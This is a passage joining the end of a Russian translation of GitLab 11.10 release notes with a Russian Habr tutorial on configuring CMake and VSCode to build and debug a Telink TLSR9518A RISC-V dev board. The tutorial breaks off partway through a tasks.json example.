Очень важно следить за работоспособностью экземпляра GitLab. Раньше мы предоставляли панели мониторинга по умолчанию через встроенный экземпляр Grafana. Начиная с этого выпуска мы включили дополнительные панели для мониторинга балансировщиков нагрузки NGINX.
### SAST для Elixir
**ULTIMATE, GOLD**
Мы продолжаем расширять поддержку языков и углублять проверки безопасности. В этом выпуске мы включили проверки безопасности для проектов на [Elixir](https://elixir-lang.org/) и проектов, созданных на [платформе Phoenix](https://phoenixframework.org/).
### Несколько запросов в одной диаграмме
**PREMIUM, ULTIMATE, SILVER, GOLD**
В GitLab можно создавать диаграммы, чтобы визуализировать собираемые метрики. Часто — например, если нужно посмотреть максимальное или среднее значение метрики, — хочется вывести несколько значений на одной диаграмме. Начиная с этого выпуска у вас есть такая возможность.
### Результаты DAST на панели безопасности группы
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Мы добавили результаты динамического тестирования защищенности приложений (Dynamic Application Security Testing, DAST) на панель безопасности группы в дополнение к SAST, сканированию контейнеров и сканированию зависимостей.
### Добавление метаданных в отчет о сканировании контейнеров
**ULTIMATE, GOLD**
В этом выпуске в отчете о сканировании контейнеров содержится больше метаданных — мы добавили **затрагиваемый компонент** (фича Clair) в существующие метаданные: приоритет, идентификатор (со ссылкой на mitre.org) и затрагиваемый уровень (например, debian:8).
### Добавление типа отчета по метрикам в мердж-реквесты
**PREMIUM, ULTIMATE, SILVER, GOLD**
GitLab уже предоставляет несколько типов отчетов, которые можно включать прямо в мердж-реквесты: от отчетов о [качестве кода](https://docs.gitlab.com/ee/user/project/merge_requests/code_quality.html) и [модульном тестировании](https://docs.gitlab.com/ee/ci/junit_test_reports.html) на этапе проверки до [SAST](https://docs.gitlab.com/ee/user/application_security/sast/index.html) и [DAST](https://docs.gitlab.com/ee/user/application_security/dast/index.html) на этапе защиты.
И хотя это важные отчеты, базовые сведения, подходящие для разных сценариев, тоже нужны. В GitLab 11.10 мы предоставляем отчеты по метрикам прямо в мердж-реквесте, который ожидает простую пару ключ-значение. Таким образом пользователи отслеживают изменения во времени, включая пользовательские метрики, и изменения метрик для определенного мердж-реквеста. Использование памяти, тестирование специализированных нагрузок и статусы работоспособности можно преобразовать в простые метрики, которые можно просматривать прямо в мердж-реквестах наряду с другими встроенными отчетами.
### Поддержка мультимодульных проектов Maven для сканирования зависимостей
**ULTIMATE, GOLD**
В этом выпуске мультимодульные проекты Maven поддерживают сканирование зависимостей GitLab. Раньше, если у подмодуля была зависимость от другого подмодуля того же уровня, он не мог разрешить загрузку из центрального репозитория Maven. Теперь мультимодульный проект Maven создается с двумя модулями и зависимостью между двумя модулями. Зависимость между модулями одного уровня теперь доступна в локальном репозитории Maven, чтобы можно было продолжить сборку.
### Пользователи могут менять путь для клонирования в CI
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
По умолчанию GitLab Runner клонирует проект в уникальный вложенный путь в `$CI_BUILDS_DIR`. Но для некоторых проектов, например Golang, код нужно клонировать в конкретный каталог, чтобы его можно было собрать.
В GitLab 11.10 мы ввели переменную `GIT_CLONE_PATH`, с помощью которой можно указать конкретный путь, куда GitLab Runner клонирует проект до выполнения задачи.
### Простая маскировка защищенных переменных в логах
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
GitLab предоставляет несколько способов [защитить](https://docs.gitlab.com/ee/ci/variables/#protected-environment-variables) и [ограничить область](https://docs.gitlab.com/ee/ci/variables/#limiting-environment-scopes-of-environment-variables-premium) переменных в GitLab CI/CD. Но переменные все равно могут намеренно или случайно попасть в журналы сборки.
GitLab серьезно относится к управлению рисками и аудиту и продолжает добавлять фичи для соблюдения требований. В GitLab 11.10 мы ввели возможность маскировать некоторые типы переменных в логах трассировки джобов, добавив уровень защиты от случайного попадания содержимого этих переменных в журналы. А еще GitLab теперь [автоматически маскирует](https://docs.gitlab.com/ee/ci/variables/#masked-variables) многие встроенные переменные токенов.
### Включение и отключение Auto DevOps на уровне группы
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
С Auto DevOps в проекте GitLab.com можно без лишних хлопот взяться за современные рабочие процессы DevOps — от сборки до поставки.
Начиная с GitLab 11.10 вы можете включать и отключать Auto DevOps для всех проектов в одной группе.
### Упрощенная и улучшенная страница лицензий
**STARTER, PREMIUM, ULTIMATE**
Чтобы управлять ключами лицензии было удобнее и проще, мы изменили дизайн страницы лицензий на панели администратора и выделили самые важные элементы.
[](https://habrastorage.org/webt/-m/bf/vb/-mbfvb2lf9pjeygdg2rssnvxm_a.png)
### Обновлены метки для деплоев в кластере Kubernetes
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Доски деплоев дают представление о деплоях в кластере Kubernetes.
В этом выпуске мы изменили метод, которым метки соотносятся с деплоями. Доски деплоев теперь ищут метку `app.example.com/app` и `app.example.com/env` или `app`. Это позволит избежать конфликтов при фильтрации и снизит риск неправильных выборок деплоев для отображения на досках.
Кроме того, в версии GitLab 12.0 мы [планируем отказаться от поддержки метки app из селектора деплоев Kubernetes](https://gitlab.com/gitlab-org/gitlab-ee/issues/11209), и совпадение будет возможно только по `app.example.com/app` и `app.example.com/env`.
### Динамическое создание ресурсов Kubernetes
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Интеграция Kubernetes в GitLab позволяет использовать функцию RBAC с помощью аккаунта сервиса и выделенного пространства имен для каждого проекта GitLab. Начиная с этого выпуска для максимальной эффективности эти ресурсы будут создаваться, только когда нужны для деплоя.
При деплое Kubernetes GitLab CI будет создавать эти ресурсы перед деплоем.
### Групповые раннеры для кластеров на уровне группы
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Кластеры на уровне группы теперь поддерживают установку GitLab Runner. Раннеры Kubernetes на уровне группы отображаются для дочерних проектов как групповые раннеры, помеченные ярлыками `cluster` и `kubernetes`.
### Счетчик вызова для функций Knative
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Функции, развернутые с [GitLab Serverless](https://docs.gitlab.com/ee/user/project/clusters/serverless/), теперь показывают количество полученных вызовов для отдельной функции. Для этого нужно установить Prometheus на кластере, где установлен Knative.
[](https://habrastorage.org/webt/au/84/lz/au84lzrch_swpvgc6n9662ihvjc.png)
### Контроль параметров `git clean` для джобов GitLab CI/CD
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
По умолчанию GitLab Runner выполняет `git clean` в процессе выгрузки кода при выполнении джоба в GitLab CI/CD. Начиная с GitLab 11.10 пользователи могут контролировать параметры, переданные команде `git clean`. Это удобно для команд с выделенными раннерами, а также для команд, которые собирают проекты из больших монорепозиториев. Теперь они могут управлять процессом выгрузки до выполнения скриптов. Новая переменная `GIT_CLEAN_FLAGS` по умолчанию имеет значение `-ffdx` и принимает все возможные параметры команды `[git clean](https://git-scm.com/docs/git-clean)`.
### Внешняя авторизация в Core
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Защищенные среды могут требовать дополнительный внешний ресурс авторизации для доступа к проекту. Мы добавили поддержку дополнительного уровня контроля доступа в [10.6](https://gitlab.com/gitlab-org/gitlab-ee/issues/4216) и получили много просьб открыть этот функционал в Core. Мы рады представить внешнюю авторизацию и дополнительный уровень безопасности для экземпляров Core, раз эта фича нужна отдельным участникам.
### Возможность создания проектов в группах в Core
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Роль Developer может создавать проекты в группах [еще с версии 10.5](https://gitlab.com/gitlab-org/gitlab-ee/issues/2534), а сейчас это возможно и в Core. Создание проектов — это ключевая возможность для продуктивной работы в GitLab, и благодаря включению этой функции в Core участникам экземпляра теперь проще заняться чем-то новым.
### GitLab Runner 11.10
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Сегодня мы выпустили GitLab Runner 11.10! GitLab Runner — это проект с открытым исходным кодом, который используется для запуска заданий CI/CD и отправки результатов обратно в GitLab.
**Самые интересные изменения:**
* [Параметр для указания пути клонирования](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1267).
* [`Улучшенная поддержка git clean`](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1281).
* [Возможность отключения трассировки отладки](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1286).
* [Использование отложенного расширения переменной для проверки ошибок в Windows Cmd](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1260).
* [Исправление цветового вывода в Windows](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1208).
Полный список изменений можно найти в журнале изменений GitLab Runner: [CHANGELOG](https://gitlab.com/gitlab-org/gitlab-runner/blob/v11.10.0/CHANGELOG.md).
### Исправление возвращаемого `project_id` в API поиска blob в Elasticsearch
**STARTER, PREMIUM, ULTIMATE**
Мы исправили ошибку в API поиска blob в Elasticsearch, который ошибочно возвращал 0 для `project_id`. Нужно будет [переиндексировать Elasticsearch](https://docs.gitlab.com/ee/integration/elasticsearch.html#adding-gitlabs-data-to-the-elasticsearch-index), чтобы получать правильные значения `project_id` после установки этой версии GitLab.
### Улучшения Omnibus
**CORE, STARTER, PREMIUM, ULTIMATE**
Мы внесли следующие улучшения в Omnibus в GitLab 11.10:
* GitLab 11.10 включает [Mattermost 5.9.0](https://mattermost.com/blog/mattermost-5-9/), [альтернативу Slack с открытым исходным кодом](https://mattermost.com/), в последний выпуск которого входит новый каталог интеграции для простого переноса данных из Hipchat и много чего еще. Эта версия включает [обновления безопасности](http://about.mattermost.com/security-updates/), и мы советуем обновиться.
* Мы [интегрировали Grafana с Omnibus](https://docs.gitlab.com/omnibus/settings/grafana.html#dashboards), и теперь начать мониторинг экземпляра GitLab стало совсем просто.
* Мы добавили поддержку удаления старых образов контейнеров из реестра Docker.
* Мы обновили ca-certs до 2019-01-23.
### Улучшения производительности
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Мы продолжаем улучшать производительность GitLab с каждым выпуском для экземпляров GitLab любого размера. Некоторые улучшения в GitLab 11.10:
* [Автозаполнение пользователей теперь происходит быстрее](https://gitlab.com/gitlab-org/gitlab-ce/issues/43065#note_160130314).
* [Оптимизированы SQL-запросы для вывода задач проекта при поиске](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26908#note_160151161).
* [Результаты поиска Elasticsearch больше не включают Gitaly](https://gitlab.com/gitlab-org/gitlab-ee/issues/9927).
* [У запросов GraphQL теперь есть ограничение по сложности](https://gitlab.com/gitlab-org/gitlab-ce/issues/58405).
* [Отключено инструментирование для диффов, чтобы повысить производительность мердж-реквестов, когда включен Prometheus](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/27235).
* [Улучшена производительность импорта пул-реквестов GitHub](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/27121).
* [Поиск коммитов в кэше по имени ссылки](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26248).
* [Улучшена производительность диффов мердж-реквестов — теперь blob дифф-файлов запоминаются](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/26604).
### Улучшение диаграмм GitLab
**CORE, STARTER, PREMIUM, ULTIMATE**
Мы внесли следующие улучшения в диаграммы GitLab:
* [Добавлена поддержка Elasticsearch](https://gitlab.com/charts/gitlab/issues/976).
Устаревшие фичи
---------------
### GitLab Geo обеспечит хэшированное хранение в GitLab 12.0
GitLab Geo требуется [хэшированное хранилище](https://docs.gitlab.com/ee/administration/repository_storage_types.html#hashed-storage) для смягчения конкуренции на вторичных нодах. Это было отмечено в [gitlab-ce#40970](https://gitlab.com/gitlab-org/gitlab-ce/issues/40970).
В GitLab [11.5](https://gitlab.com/groups/gitlab-org/-/milestones/20) мы добавили это требование в документацию Geo: [gitlab-ee#8053](https://gitlab.com/gitlab-org/gitlab-ee/issues/8053).
В GitLab [11.6](https://gitlab.com/groups/gitlab-org/-/milestones/21) `sudo gitlab-rake gitlab:geo:check` проверяет, включено ли хэшированное хранилище и все ли проекты переносятся. См. [gitlab-ee#8289](https://gitlab.com/gitlab-org/gitlab-ee/issues/8289). Если вы используете Geo, пожалуйста, запустите эту проверку и мигрируйте как можно скорее.
В GitLab [11.8](https://gitlab.com/groups/gitlab-org/-/milestones/23) постоянно отключаемое предупреждение [gitlab-ee!8433](https://gitlab.com/gitlab-org/gitlab-ee/merge_requests/8433) будет отображаться на странице **Admin Area** › **Geo** › **Nodes**, если вышеупомянутые проверки не разрешены.
> В GitLab [12.0](https://gitlab.com/groups/gitlab-org/-/milestones/33) Geo будет использовать требования к хэшированному хранилищу. См. [gitlab-ee#8690](https://gitlab.com/gitlab-org/gitlab-ee/issues/8690).
Дата удаления: **22 июня 2019 г.**
### Поддержка Ubuntu 14.04
GitLab 11.10 станет последним выпуском с [поддержкой Ubuntu 14.04](https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4234).
Canonical объявила о прекращении стандартной поддержки Ubuntu 14.04 с [апреля 2019 года](https://wiki.ubuntu.com/Releases). Советуем пользователям перейти на поддерживаемую версию LTS: Ubuntu 16.04 или Ubuntu 18.04.
Дата удаления: **22 мая 2019 г.**
### Ограничение максимального количества пайплайнов, создаваемых одной отправкой
Раньше GitLab создавал пайплайны для `HEAD` каждой ветки в отправке. Это удобно для разработчиков, которые отправляют сразу несколько изменений (например, в ветку фичи и в ветку `develop`).
Но при отправке большого репозитория, где много активных веток (например, для перемещения, отзеркаливания или разветвления), не нужно создавать пайплайн для каждой ветки. Начиная с GitLab 11.10 мы создаем [максимум 4 пайплайна](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/27205) при отправке.
Дата удаления: **22 мая 2019 г.**
### Устаревшие пути legacy кода GitLab Runner
Начиная с Gitlab 11.9 GitLab Runner использует [новый метод](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1203) клонирования/вызова репозитория. В настоящее время GitLab Runner будет использовать старый метод, если новый не поддерживается. Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4069).
В GitLab 11.0 мы изменили вид конфигурации сервера метрик для GitLab Runner. `metrics_server` будет удален в пользу `listen_address` в GitLab 12.0. Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4072).
В версии 11.3 GitLab Runner начал поддерживать [несколько кэш-провайдеров](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/968); что привело к новым настройкам для [конкретной конфигурации S3](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscaches3-section). В [документации](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runnerscache-section), приведена таблица изменений и инструкции по переходу к новой конфигурации. Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4070).
Эти пути будут недоступны в GitLab 12.0. Как пользователю, вам не нужно ничего менять, только убедиться, что экземпляр GitLab работает с версией 11.9+ при обновлении до GitLab Runner 12.0.
Дата удаления: **22 июня 2019 г.**
### Устаревший параметр для фичи точки входа для GitLab Runner
В 11.4 GitLab Runner представлен параметр фичи [`FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://docs.gitlab.com/runner/configuration/feature-flags.html#available-feature-flags) для исправления таких проблем, как [#2338](https://gitlab.com/gitlab-org/gitlab-runner/issues/2338) и [#3536](https://gitlab.com/gitlab-org/gitlab-runner/issues/3536).
В GitLab 12.0 мы переключимся на правильное поведение, как если бы параметр фичи был отключен. Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4073).
Дата удаления: **22 июня 2019 г.**
### Устаревшая поддержка дистрибутива Linux, достигшего EOL, для GitLab Runner
Некоторые дистрибутивы Linux, в которые можно установить GitLab Runner, свое отслужили.
В GitLab 12.0 GitLab Runner больше не будет распределять пакеты в такие дистрибутивы Linux. Полный список дистрибутивов, которые больше не поддерживаются, можно найти в нашей [документации](https://docs.gitlab.com/runner/install/linux-repository.html). Спасибо Хавьеру Ардо ([Javier Jardón](https://gitlab.com/jjardon)) за [его вклад](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1130)!
Дата удаления: **22 июня 2019 г.**
### Удаление старых команд GitLab Runner Helper
В рамках усилий по поддержке [Windows Docker executor](https://gitlab.com/groups/gitlab-org/-/epics/535) пришлось отказаться от некоторых старых команд, которые используются для [helper image](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#helper-image).
В GitLab 12.0 GitLab Runner запускается с помощью новых команд. Это касается только пользователей, которые [переопределяют helper image](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#overriding-the-helper-image). Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4013).
Дата удаления: **22 июня 2019 г.**
### Удаление legacy механизма git clean из GitLab Runner
В GitLab Runner 11.10 [мы предоставляем возможность](https://gitlab.com/gitlab-org/gitlab-runner/merge_requests/1281) настроить, как Runner выполняет команду `git clean`. Кроме того, новая стратегия очистки удаляет использование `git reset` и помещает команду `git clean` после шага выгрузки.
Раз это изменение поведения может повлиять на некоторых пользователей, мы подготовили параметр `FF_USE_LEGACY_GIT_CLEAN_STRATEGY`. Если установить значение `true`, он восстановит legacy-стратегию очистки. Больше об использовании параметров функций в GitLab Runner можно найти [в документации](https://docs.gitlab.com/runner/configuration/feature-flags.html).
В GitLab Runner 12.0 мы удалим поддержку legacy-стратегии очистки и возможность восстанавливать ее с помощью параметра функции. Подробнее смотрите в [этой задаче](https://gitlab.com/gitlab-org/gitlab-runner/issues/4175).
Дата удаления: **22 июня 2019 г.**
### Раздел System Info в панели администратора
GitLab представляет информацию о вашем экземпляре GitLab в `admin/system_info`, но эта информация может быть неточной.
Мы [удалим этот раздел](https://gitlab.com/gitlab-org/gitlab-ce/issues/46839) панели администратора в GitLab 12.0 и рекомендуем использовать [другие возможности мониторинга](https://docs.gitlab.com/ee/administration/monitoring/performance/).
Дата удаления: **22 июня 2019 г.**
### Журнал изменений
Ищите все эти изменения в журнале изменений:
* [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG.md)
* [GitLab Enterprise Edition](https://gitlab.com/gitlab-org/gitlab-ee/blob/master/CHANGELOG-EE.md)
* [GitLab Runner](https://gitlab.com/gitlab-org/gitlab-runner/blob/master/CHANGELOG.md)
### Установка
**Если вы настраиваете новую установку GitLab, посетите [страницу загрузки GitLab](https://about.gitlab.com/install/).**
### Обновление
**Загляните на [страницу обновлений](https://about.gitlab.com/update/).**
### Планы подписки GitLab
**GitLab доступен в двух вариантах: [самоуправляемый](https://about.gitlab.com/pricing/#self-managed) и [облачный SaaS](https://about.gitlab.com/pricing/#gitlab-com).**
[Самоуправляемый](https://about.gitlab.com/pricing/#self-managed): локально или на предпочитаемой облачной платформе.
* **Core**: для небольших команд, персональных проектов или пробной версии GitLab на неограниченный период.
* **Starter**: для команд, работающих в одном офисе над несколькими проектами, которым нужна профессиональная поддержка.
* **Premium**: для распределенных команд, которым нужны расширенные функции, высокая доступность и круглосуточная поддержка.
* **Ultimate**: для предприятий, которым требуется надежная стратегия и реализация с улучшенной безопасностью и соответствием требованиям.
[Облачный SaaS](https://about.gitlab.com/pricing/#gitlab-com) — **GitLab.com**: размещается, управляется и администрируется GitLab по [бесплатным и платным подпискам](https://about.gitlab.com/pricing/#gitlab-com) для отдельных разработчиков и команд.
* **Free**: неограниченные частные репозитории и неограниченное количество участников проекта. У закрытых проектов есть доступ к фичам уровня **Free**, у [открытых проектов](https://gitlab.com/explore) есть доступ к фичам уровня **Gold**.
* **Bronze**: для команд, которым нужен доступ к расширенным фичам рабочего процесса.
* **Silver**: для команд, которым нужны более надежные возможности DevOps, соответствие требованиям и быстрая поддержка.
* **Gold**: подходит для множества джобов CI/CD. Все открытые проекты могут бесплатно использовать фичи Gold независимо от плана. | https://habr.com/ru/post/450378/ | null | ru | null |
# Настройка VSCode для отладки китайского RISC-V SoC
Я всей душой люблю малоизвестных производителей. Зачастую их продукты имеют фичи, недоступные у их более именитых конкурентов, по очень интересной цене (однажды меня очень выручило наличие встроенной в SoC полуамперной зарядки для аккумулятора и нескольких LDO, способных запитать всю периферию). Кроме того, сроки и условия поставки какого-нибудь [Nanjing Qinheng Microelectronics](http://www.wch.cn/) могут приятно удивить разработчиков, привыкших за последние два ковидных года к конскому ценнику и 52+ неделям доставки на ST, TI, Nordic и прочие привычные вещи. Логистика становится особенно приятной, если массовое производство планируется в Китае и на площадке присутствует ваша китайская команда, способная разрулить возникающие проблемы. Да и доставка из Шеньчженя в Шеньчжень проще и предсказуемей, чем со склада глобального дистрибьютора и растаможка в России.
Что готовим, шеф?
-----------------
Вот такой зверь. Забудьте об Arduino-формате расположения пинов на отладках, здесь свой особый путь.Незадолго до новогодних праздников мне в руки попал [B91 Generic Starter Kit](http://wiki.telink-semi.cn/wiki/Hardware/B91_Generic_Starter_Kit_Hardware_Guide/). Отладка построена на базе [TLSR9518A](http://wiki.telink-semi.cn/doc/ds/PB_TLSR9_Series_Product_Brief.pdf) - RISC-V SoC с поддержкой Bluetooth Classic, BLE, собственным AI-движком и кучей других плюшек, позволяющих сделать относительно сложное носимое устройство по достаточно низкой цене. На отладке распаян старший чип из линейки, ориентированный на задачи, связанные с аудио и одновременной поддержкой как классического Bluetooth, так и BLE, но в линейке есть и более простые устройства. В общем - идеальный кандидат на то, чтобы развеять тоску и отвлечь от тазика с оливье.
Telink раньше был известен в первую очередь благодаря сверхдешевым BLE-чипам, построенным на собственном ядре, но с недавнего времени в линейке появились и RISC-V.
На [вики](http://wiki.telink-semi.cn/wiki/IDE-and-Tools/Compiler_Linux/) вендора присутствуют ссылки на IDE, тулчейн и примеры кода. Если бы мы отлаживали что-то более распространенное в наших краях, то этого было бы достаточно, но здесь производитель приготовил несколько сюрпризов:
* IDE только под винду, которой у меня нет (да и тысячи вендорских IDE на эклипсе уже набили оскомину. А после того, как WICED-Studio отказалась запускать отладку на CYW954907 пока я не уберу все брейкпойнты, я принял решение по возможности не использовать такие решения). Поэтому мы будем использовать связку CMake + VSCode.
* Сервер, на котором хранятся IDE и тулчейн, находится где-то в тибетском монастыре, подключенном по dial-up'у, по крайней мере средняя скорость закачки в 10кб/с и более трех тысяч разрывов закачки намекают об этом.
* Тулчейн неполный, мы можем собрать и зашить бинарь, но gdb-сервер не может стартовать из-за отсутствия одной из библиотек. Эти и другие проблемы мы попробуем решить.
Подготовка проекта и окружения
------------------------------
Я использовал в процессе Ubuntu 21.10, так что если вы работаете с другой ОС, то возможно придется немного скорректировать команды.
```
sudo apt update && sudo apt upgrade && sudo apt autoremove
sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386
sudo apt install -y make cmake wget unzip libncurses5
```
### Тулчейн
Его можно собрать самому по [инструкции](https://github.com/andestech/nds-gnu-toolchain) или же скачать готовую сборку с гитхаба разработчиков ядра. У меня не получилось собрать его с ходу, а разбираться интереса не было. Поэтому, если кто укажет на причину - буду весьма благодарен.
#### Версия с Mculib
По умолчанию предлагается вендором.
```
wget https://github.com/andestech/Andes-Development-Kit/releases/download/ast-v3_2_3-release-linux/nds32le-elf-mculib-v5f.txz
mkdir toolchain
tar -xvf nds32le-elf-mculib-v5f.txz -C toolchain
rm nds32le-elf-mculib-v5f.txz
```
#### Версия с Newlib
```
https://github.com/andestech/Andes-Development-Kit/releases/download/ast-v3_2_3-release-linux/nds32le-elf-newlib-v5f.txz
mkdir toolchain
tar -xvf nds32le-elf-newlib-v5f.txz -C toolchain
rm nds32le-elf-newlib-v5f.txz
```
### Инструменты отладки
В комплекте с девбордой идет JTAG-отладчик от вендора, но в принципе не должно возникнуть особых проблем с использованием других аппаратных средств, поддерживающих OpenOCD. Единственный нюанс - TLSR9518**A**, установленный на плате, предназначен исключительно для оценки и единственный из всей линейки не имеет встроенной FLASH-памяти.
Для работы с вендорским отладчиком потребуется утилита для прошивки внешней флешки и отладчик ICE, модифицированный OpenOCD.
```
wget https://github.com/andestech/Andes-Development-Kit/releases/download/ast-v3_2_3-release-linux/flash.zip
wget https://github.com/andestech/Andes-Development-Kit/releases/download/ast-v3_2_3-release-linux/ice.zip
unzip flash.zip -d toolchain
unzip ice.zip -d toolchain
rm -rf flash.zip ice.zip
cd toolchain/ice/
chmod +x ICEman.sh
./ICEman.sh
```
Поддержка семейства TLSR9 также заявлена в JLink, но я писал статью по горячим следам и у меня не было его под рукой.
### SDK
В том, что касается SDK, Telink придерживается подхода, похожего на тот, что использовали когда-то Nordic со свими SoftDevice - отдельный SDK под каждую задачу. Нужный вам можно найти на вики, а для примера я решил использовать Driver SDK, предназначенный для работы с периферией чипа. Стоит отметить, что Bluetooth SDK предполагает работу в суперцикле и не имеет ни малейшего намека на поддержку FreeRTOS, в отличие от Driver SDK. Представители вендора не дали прямого ответа, почему сделано именно так, но горячо уверили, что к осени SDK получит мощный апдейт. Заявлена поддержка Zephyr, но без BLE и, судя по [треду](https://github.com/zephyrproject-rtos/zephyr/issues/34282), ситуация вряд ли улучшится в ближайшее время. Поэтому, если вы захотите начинать разработку следующего устройства на основе православного китайского чипа - имейте в виду такие особенности, они возникают достаточно часто.
```
wget http://wiki.telink-semi.cn/tools_and_sdk/Driver/B91_Driver_SDK.zip
mkdir driver_sdk
unzip B91_Driver_SDK.zip -d driver_sdk/
rm B91_Driver_SDK.zip
```
### Сборка
Единственное, чего нам не хватает сейчас - инструкции по сборке. За основу я взял [UART\_DEMO](http://wiki.telink-semi.cn/telink-document-package/CMakeLists.txt), немного подправив его, чтобы сделать возможной out-of-tree сборку и отладку.
```
cmake_minimum_required(VERSION 3.0)
project(apptest)
enable_language(C ASM)
set(CMAKE_VERBOSE_MAKEFILE ON)
set(CMAKE_SHARED_LIBRARY_LINK_C_FLAGS)
set(RISCV_TOOLCHAIN ${CMAKE_CURRENT_LIST_DIR}/../toolchain/nds32le-elf-mculib-v5f/bin)
set(DRIVER_SDK ${CMAKE_CURRENT_LIST_DIR}/../driver_sdk/B91_Driver_Demo)
set(CMAKE_SYSTEM_NAME Generic)
set(CMAKE_C_COMPILER ${RISCV_TOOLCHAIN}/riscv32-elf-gcc)
set(CMAKE_CXX_COMPILER ${RISCV_TOOLCHAIN}/riscv32-elf-g++)
set(CMAKE_ASM_COMPILER ${RISCV_TOOLCHAIN}/riscv32-elf-gcc)
set(OBJCOPY ${RISCV_TOOLCHAIN}/riscv32-elf-objcopy)
set(OBJDUMP ${RISCV_TOOLCHAIN}/riscv32-elf-objdump)
set(NM ${RISCV_TOOLCHAIN}/riscv32-elf-nm)
set(READELF ${RISCV_TOOLCHAIN}/riscv32-elf-readelf)
set(SIZE ${RISCV_TOOLCHAIN}/riscv32-elf-size)
add_definitions(-DMCU_STARTUP_FLASH_B91=1)
add_compile_options(-Og -g3 -mcpu=d25f -mext-dsp -mabi=ilp32f -std=c99)
add_compile_options(-ffunction-sections -fdata-sections -fpack-struct -fshort-enums -flto)
add_compile_options(-fmessage-length=0 -fomit-frame-pointer -fno-strict-aliasing -fshort-wchar -fuse-ld=bfd)
add_compile_options(-Wall -Wno-nonnull-compare -Wextra -Wshadow -Werror -Wno-gnu-zero-variadic-macro-arguments)
set(CMAKE_EXE_LINKER_FLAGS "-Og -g3 -nostartfiles -static -T\"${DRIVER_SDK}/link/flash_boot.link\" -Wl,--gc-sections")
link_libraries(-lB91)
aux_source_directory(${DRIVER_SDK}/common SRCS_COMMON)
aux_source_directory(${DRIVER_SDK}/drivers/B91 SRCS_DRIVERS_B91)
aux_source_directory(${DRIVER_SDK}/vendor/common SRCS_VENDOR_COMMON)
aux_source_directory(${DRIVER_SDK}/vendor/UART_DEMO SRCS_APP)
set(SRCS
${SRCS_COMMON}
${SRCS_DRIVERS_B91}
${SRCS_VENDOR_COMMON}
${SRCS_APP}
${DRIVER_SDK}/boot/B91/cstartup_b91_flash.S)
include_directories(${CMAKE_CURRENT_LIST_DIR})
include_directories(${DRIVER_SDK})
include_directories(${DRIVER_SDK}/vendor/common)
include_directories(${DRIVER_SDK}/drivers/B91)
include_directories(${DRIVER_SDK}/common)
link_directories(${DRIVER_SDK}/drivers/B91)
add_executable(${PROJECT_NAME}.elf ${SRCS})
add_custom_target(BIN ALL
COMMAND ${OBJCOPY} -S -O binary ${PROJECT_NAME}.elf ${PROJECT_NAME}.bin
COMMAND ${SIZE} ${PROJECT_NAME}.elf
COMMAND ${OBJDUMP} -x -d -C ${PROJECT_NAME}.elf > objdump.txt
COMMAND ${NM} -n -l -C ${PROJECT_NAME}.elf > symbol.txt
COMMAND ${READELF} -a ${PROJECT_NAME}.elf > readelf.txt
DEPENDS ${PROJECT_NAME}.elf
)
```
Я поместил этот файл в директорию `app`, в которой планирую хранить и остальные исходники. Теперь можно запустить сборку.
```
cd app && mkdir build && cd build
cmake ..
make
```
Настройка VSCode
----------------
Для комфортной работы потребуется создать несколько файлов с настройками для VSCode: `c_cpp_properties.json`, `launch.json`, `settings.json`, `tasks.json`, каждый из которых отвечает за определенный функционал среды разработки. Для нас наиболее интересны настройки сборки и отладки.
### Сборка (tasks.json)
Эти таски отвечают за сборку бинарника и его загрузку в чип. Задача `ICEman` отвечает за gdb-соединение и должна быть запущена в фоне всегда, когда идет отладка чипа или его прошивка. Здесь же можно настроить необходимые зависимости, например, собирать проект каждый раз перед прошивкой, если вы тоже иногда забываете это сделать.
```
{
"version": "2.0.0",
"tasks": [
{
"label": "Build",
"type": "shell",
"command": "cmake -Bbuild && cd build && make",
"group": {
"kind": "build",
"isDefault": true
},
"options": {
"cwd": "${workspaceRoot}/app/"
},
